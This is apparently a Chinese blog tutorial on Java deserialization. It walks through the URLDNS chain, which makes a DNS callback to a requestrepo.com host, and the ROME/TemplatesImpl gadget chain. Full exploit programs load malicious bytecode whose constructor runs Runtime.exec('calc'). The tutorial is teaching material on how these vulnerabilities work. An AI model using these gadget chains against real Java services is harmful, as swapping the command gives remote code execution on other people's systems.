java入门反序列化

JAVA反序列化入门

URLDNS

这个链子可以用来判断是否有反序列化漏洞,并没有环境依赖,其本身没有什么攻击性,就是进行一次DNS请求。

原理

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

hashcode()方法

1
2
3
4
5
6
7
8
9
10
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("https://nf2p2x19.requestrepo.com/");
url.hashCode();
}
}

跟进看一下

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1) //判断hashCode是否为-1,hashCode是一个私有变量,只有是-1时才能执行hashCode函数
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

调式的时候是这样的

image-20250428212916412

继续跟进hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u); //调用了getHostAddress()函数
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

调试的时候是这样

image-20250428213030039

我们继续跟进getHostAddress()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host); //这里进行DNS请求
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

跟进InetAddress.getByName(host)

1
2
3
4
public static InetAddress getByName(String host)
throws UnknownHostException {
return InetAddress.getAllByName(host)[0];
}

hashcode()就是这样子啦~

hashmap

进去看一下,找到反序列化的函数readobject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

这里是调用了hash函数

1
2
3
4
5
6
7
8
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

跟进hash函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

然后如果key不为空,则调用了hashcode,这个key是我们传入的url对象,继续跟进url类的hashcode

1
2
3
4
5
6
7
8
public synchronized int hashCode() {
//synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

如果hashcode是-1,那么就会执行hashCode = handler.hashCode(this);

继续跟进handler

1
2
3
4
/**
* The URLStreamHandler for this URL.
*/
transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性

那么跟进URLStreamHandlerhashcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

其中的u也就是我们传入的URL对象,在执行InetAddress addr = getHostAddress(u);会进行dns请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost(); //这里进行DNS请求
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

我们现在再返回来到readobject

image-20250530171314050

key通过反序列化来得到,那就证明序列化的时候就写入了key

1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}

跟进internalWriteEntries

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Called only from writeObject, to ensure compatible ordering.
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}

//tab = table 是把实例变量 table (即HashMap中table的值) 赋值给局部变量 tab。

//tab 是一个哈希桶数组,每个元素都是一个链表的头节点(或为 null)。

//这段代码遍历整个哈希表,把所有的键值对通过 ObjectOutputStream 序列化写出去。

想要修改table的值,就需要调用HashMap的put方法,而HashMapput方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

我们并不想让这个查询来混淆我们的视线,可以通过反射将hashcode写成不等于-1,就可以避免

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

hashCode不等于-1,就不会执行handler.hashCode(this)自然也就没有后面的事

1
2
3
4
5
6
7
8
Gadget Chain:
HashMap.readObject()

HashMap.putVal()

HashMap.hash()

URL.hashCode()

EXP

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package cn.edu.xcu.ypx;

import java.io.FileInputStream;
import java.io.FileOutpsutStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS_EXP {

public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("https://nf2p2x19.requestrepo.com/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //获取到hashcode这个私有变量
f.setAccessible(true); //修改私有变量,必须设置为true
f.set(url, 123); //设置hashcode变成-1以外的其他数字
//System.out.println(url.hashCode());
map.put(url,123); //调用put方法
f.set(url,-1); //设置回-1以便调用
try {
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);

objectOutputStream.writeObject(map);
objectOutputStream.close();
fileOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
catch (Exception e) {
e.printStackTrace();
}
}
}

ROME

Rome是什么

ROME 是一个用于 RSS 和 Atom 订阅的 Java 框架。它是开源的,并根据 Apache 2.0 许可授权。

ROME 包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的 Java 对象,或者是通用的规范化 SyndFeed 类,让您可以处理数据,而无需考虑传入或传出的 feed 类型。

它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。

ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作,可以利用toString方法对Java Bean进行操作。而这里面的toString方法就是ROME反序列化漏洞调用链的关键之一。

环境依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

漏洞原理:

因为ToStringBean调用了invoke方法,并且参数可控,从而导致任意类加载,而Templateslmpl#getOutputProperties()方法正好可以在其中调用,所以就有了Templateslmpl利用链的调用,在反序列化攻击链里,TemplatesImpl 充当“最终执行器”:攻击者通过写入自定义 _bytecodes,诱导链条调用其 newTransformer()(或 getOutputProperties()),触发内部 defineTransletClasses() + newInstance(),从而加载并实例化恶意类并执行其静态块或构造器逻辑,实现任意代码执行。

Templateslmpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

//↓ 跟进newTransformer()

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

//↓ 跟进getTransletInstance()

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

//↓ 跟进defineTransletClasses();

private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

字段 作用 安全风险点
byte[][] _bytecodes 存放编译的(或被伪造的)Translet 类字节码 攻击者如果能写入任意字节码,即可植入恶意类
String _name / _transletName 模板名(历史版本字段名差异) 某些路径需要非空
Class[] _class 缓存已定义的类对象 为空时才会触发加载;重复调用不再重复 defineClass
int _transletIndex 指向主 translet(继承 AbstractTranslet)的下标 标记哪一个类要被实例化
TransformerFactoryImpl _tfactory 工厂引用,用于构造 TransformerImpl 为空会导致流程失败
Properties _outputProperties 输出属性(编码、缩进等) 某些版本为空可能触发后续 NPE

ToStringBean:

我们来分析一下这个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
/*
getPropertyDescriptors方法:

public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
PropertyDescriptor[] descriptors = (PropertyDescriptor[])_introspected.get(klass);
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}

return descriptors;
}
用于获取某个类的属性描述符数组,并对结果进行缓存。
*/
if (pds != null) { //属性值不为空,就挨个遍历用反射调用Getter
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
//反射调用Getter
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + ex.getMessage() + "\n");
}

return sb.toString();
}

该方法通过Java Bean Introspector(内省机制)枚举某个 bean 类型(this._beanClass)的所有属性(Property),对每个属性找到其getter(读方法, read method并调用,获取该属性当前实例对象(**this._obj)上的值,然后将属性名、前缀、值格式化并追加到 StringBuffer sb 中,最终返回一个字符串——用于构造该对象的递归/层级式属性转储(debug-friendly toString 输出**)。

换句话说,它不是普通的 Object#toString() 覆写;它像是一个调试用、反射驱动的 deep-ish inspection 工具,把 bean 的全部可读属性名称和值打印出来,属性名称前加上传入的 prefix,适合递归调用(比如嵌套对象时用不同 prefix 展示层级路径)。

这里的pReadMethod.invoke(this._obj, NO_PARAMS);就是反射,我们可以通过反射来调用TemplateslmplgetOutputProperties()方法,基本思路就是:

1
2
3
4
5
6
7
8
try {
Class _beanClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object _obj = _beanClass.newInstance();
Method pReadMethod = _beanClass.getDeclaredMethod("getOutputProperties");
pReadMethod.invoke(_obj,NO_PARAMS);
} catch (Exception e) {
throw new RuntimeException(e);
}

然后我们发现_obj是可以赋值的

image-20250717181454012

然后我们来看一下谁调用了这个ToStringBean.toString(prefix)跟进后发现是,ToStringBean.toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}

return this.toString(prefix);
}

而我们的最终目的地是hashCodereadobject,那我们得找一个链子可以搞到toString——hashCode

EqualsBean:

EqualsBean就是 ,其中有两个函数

image-20250717204626903

而其中的beanHashCode就是完全符合我们要求的函数

跟进hashCode

image-20250717205029018

到这我突然懵了一下🤦‍嗯?到这一步怎么办,这怎么搞????这怎么调用HashMap啊😭那这是为什么呢?其实原因也很简单,因为我们现在是倒着推的,而_obj.toString() 返回 String(实际上是 ToStringBean 的 toString() 结果)。然后对这个 String 调用 hashCode() → 进入 String.hashCode(),就长上面那样了。而我们利用的顺序是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HashMap.readObject()

HashMap.hash(Object key)

EqualsBean.hashCode() // 调用 beanHashCode()

EqualsBean.beanHashCode()

_obj.toString() // 调用 ToStringBean.toString()

ToStringBean.toString()// 反射调用 TemplatesImpl.getOutputProperties()

TemplatesImpl.getOutputProperties()

触发 defineTransletClasses() → 加载恶意字节码 → RCE

我们在hashMap那一步传入的key就是EqualsBean

HashMap.hash(Object) 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
......
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

跟进hash(key)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

我们传入以后,它调用的就是EqualsBean的hashCode()了,然后我们的_obj是传入的ToStringBean,就会继续调用它的toString(),由此一来,我们的链子就成功啦!

书写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
main()
├─ 构造 TemplatesImpl (植入恶意 shell.class)
├─ 构造 ToStringBean(Templates.class, ConstantTransformer(1))
├─ 构造 EqualsBean(ToStringBean.class, toStringBean实例)
├─ map.put(equalsBean, "123") // HashMap 里用 EqualsBean 当 key
├─ 反射把 toStringBean._obj = templates // 换掉ConstantTransformer(1),指向恶意对象
├─ serialize(map) // 写 ser1.bin
└─ unserialize("ser1.bin") // 触发链

反序列化触发链(核心):
ObjectInputStream.readObject()
→ HashMap.readObject()
→ 读入 key/value 并插入
→ HashMap.hash(key) 调用 key.hashCode()
→ EqualsBean.hashCode()
→ EqualsBean.beanHashCode()
→ _obj.toString() // _obj = TemplatesImpl
→ TemplatesImpl.toString()(间接:ToStringBean 定位模板类并调用 getter)
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
→ TemplatesImpl.defineTransletClasses()
→ defineClass(shell.class bytes)
→ new shell() 构造函数
→ Runtime.getRuntime().exec("calc")

TransformerImpl 构造参数含义

参数 来源 作用 在漏洞利用中的关注点
getTransletInstance() _bytecodes 动态加载的 translet 执行 XML→输出 的核心逻辑 这里实例化时已执行恶意代码;后续不重要
_outputProperties Properties 对象(可能为空,后面会由内部填充默认) 标记输出(编码、缩进、method 等) 部分 PoC 会给它一个空 Properties 以避免 NPE
_indentNumber int 控制 pretty print 缩进 默认值即可,与利用无直接关系
_tfactory TransformerFactoryImpl Transformer 能访问工厂配置(URI Resolver、安全特性等) 必须非空,否则 newTransformer() 可能抛 NullPointerException

EXP

把恶意字节码塞进 TemplatesImpl,用 ROME 的 EqualsBean + ToStringBean 把它包起来,作为 HashMap key 序列化;反序列化时 HashMap 调 key.hashCode(),跨过 ROME 的 toString 链最终调用 TemplatesImpl 方法,触发内部加载我们提供的恶意类并实例化,从而执行恶意构造器里的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package ROME;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public shell() throws IOException{
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}

}

package REMO;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROME {
//修改字段
private static void setValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
//序列化
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser1.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
//创建一个templates,把恶意字节码写进去
TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\\\JavaSec\\\\CC1\\\\target\\\\classes\\\\ROME\\\\shell.class"));
//TemplatesImpl 在执行 newTransformer() 或 getOutputProperties() 时,会检查 _name 是否为空(某些 JDK 版本是 _transletName),如果为空会抛异常。
setValue(templates,"_name","ROME");
/*
作用:
将我们编译好的恶意类(shell.class)的字节码注入到 TemplatesImpl。
为什么是 byte[][] 而不是 byte[]?
TemplatesImpl 支持多个 class(通常 Translet 主类 + 辅助类),所以字段类型是 byte[][]。
这里把单个类的字节码放进数组:new byte[][] { bytecodes }。

后续行为:
当调用 templates.newTransformer() 时,TemplatesImpl 会:
遍历 _bytecodes,对每个元素调用 defineClass() 定义类。
找出继承 AbstractTranslet 的类,作为主类。
实例化该类 → 执行其构造方法(我们在里面放了Runtime.getRuntime().exec("calc"))。
如果不设置 _bytecodes,就没有恶意代码被加载。
*/
setValue(templates,"_bytecodes",new byte[][]{bytecodes});
/*
作用:
给 TemplatesImpl 的 _tfactory 字段赋值。
这个字段用于生成 Transformer 实例,是模板内部运行的依赖。
如果不设置,会出现:
java.lang.NullPointerException: _tfactory is null
当执行 newTransformer() 或 getOutputProperties() 时直接 NPE。

为什么是 TransformerFactoryImpl?
这是 Xalan XSLTC 的工厂类,TemplatesImpl 原生期望的类型。
不用别的工厂,因为它的代码内部会 cast 成 TransformerFactoryImpl。
*/
setValue(templates,"_tfactory",new TransformerFactoryImpl());

//防止提前触发任意类加载,toStringBean的_obj要在hashMap.put之后再通过反射进行赋值,因此这里new ToStringBean的时候会先把new ConstantTransformer(1)塞进去,用来占位
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
//把ToStringBean传入EqualsBean,用来触发hashcode
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//创建HashMap类,用来作为容器调用EqualsBean的hashCode
HashMap<Object, Object> map = new HashMap<>();
//传入
map.put(equalsBean,"123");
//把 ToStringBean._obj 替换成恶意 TemplatesImpl
setValue(toStringBean,"_obj",templates);
//序列化
serialize(map);
//反序列化触发
unserialize("ser1.bin");
}
}

其他的链子

ObjectBean利用链

ObjectBean 相当于一个“万能代理”,快速实现 Bean 常用方法,在ObjectBean类中也有调用EqualsBeanhashCode方法的,我们可以直接用ObjectBean.hashCode(),相当于进行了一个替换

image-20250718145836473

利用链就是把EqualsBean.hashCode换成ObjectBean.hashCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HashMap.readObject()

HashMap.hash(Object key)

ObjectBean.hashCode() //这里替换成了ObjectBean.hashCode()

EqualsBean.beanHashCode()

_obj.toString() // 调用 ToStringBean.toString()

ToStringBean.toString()// 反射调用 TemplatesImpl.getOutputProperties()

TemplatesImpl.getOutputProperties()

触发 defineTransletClasses() → 加载恶意字节码 → RCE
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package ROME;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROME {
private static void setValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser2.bin"));
oos.writeObject(object);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser2.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] byteCodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class"));
setValue(templates,"_name","ROME");
setValue(templates,"_bytecodes",new byte[][]{byteCodes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashMap hashMap = new HashMap();
hashMap.put(objectBean,"123");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser2.bin");


}
}

HashTable利用链

这个链子是当HashMap类被过滤掉了,我们可以使用这个链子来改变入口点

我们看一下HashTablereadobject

image-20250718152858750

发现每个对象都会被reconstitutionPut进行处理,跟进reconstitutionPut,看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

很好,关键代码:int hash = key.hashCode();

那就就是换掉开头就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HashTable.readObject()

HashTable.reconstitutionPut() //会任意类调用hashcode()

EqualsBean.hashCode() // 调用 beanHashCode()

EqualsBean.beanHashCode()

_obj.toString() // 调用 ToStringBean.toString()

ToStringBean.toString()// 反射调用 TemplatesImpl.getOutputProperties()

TemplatesImpl.getOutputProperties()

触发 defineTransletClasses() → 加载恶意字节码 → RCE
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package ROME;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ROME {
